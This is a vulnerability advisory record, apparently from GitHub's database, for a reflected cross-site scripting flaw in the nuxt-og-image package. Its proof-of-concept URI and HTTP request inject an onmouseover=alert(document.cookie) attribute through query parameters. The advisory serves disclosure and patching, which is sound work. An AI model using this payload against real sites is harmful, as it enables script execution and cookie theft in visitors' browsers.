CVE-2026-34405: Nuxt og image Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mg36-wvcr-m75h",
  "modified" : "2026-04-06T16:39:56Z",
  "published" : "2026-03-31T23:27:03Z",
  "aliases" : [ "CVE-2026-34405" ],
  "summary" : "Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes",
  "details" : "**Product:** Nuxt OG Image \n**Version:** 6.1.2\n**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation\n**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.\n**Impact:** Client-Side JavaScript Execution\n**Exploitation condition:** An external user\n**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.\n**Researcher:** Dmitry Prokhorov (Positive Technologies)\n\n## Research \nDuring the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.\nThis research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.\n\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n  modules: ['nuxt-og-image'],\n  devServer: {\n    host: 'web-test.local',\n    port: 3000\n  },\n  site: {\n    url: 'http://web-test.local:3000',\n  },\n  ogImage: {\n    fonts: [\n      'Inter:400', \n      'Inter:700'\n    ],\n  }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus`\nThe injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.\n\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1. The injected attribute in the HTML body_\n<img width=\"974\" height=\"670\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745\" />\n\n_Figure 2. JavaScript code execution_\n<img width=\"974\" height=\"291\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8\" />\n\n\n## Credits\nResearcher: Dmitry Prokhorov (Positive Technologies)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nuxt-og-image"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "6.2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-mg36-wvcr-m75h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34405"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuxt-modules/og-image"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:27:03Z",
    "nvd_published_at" : "2026-03-31T22:16:18Z"
  }
}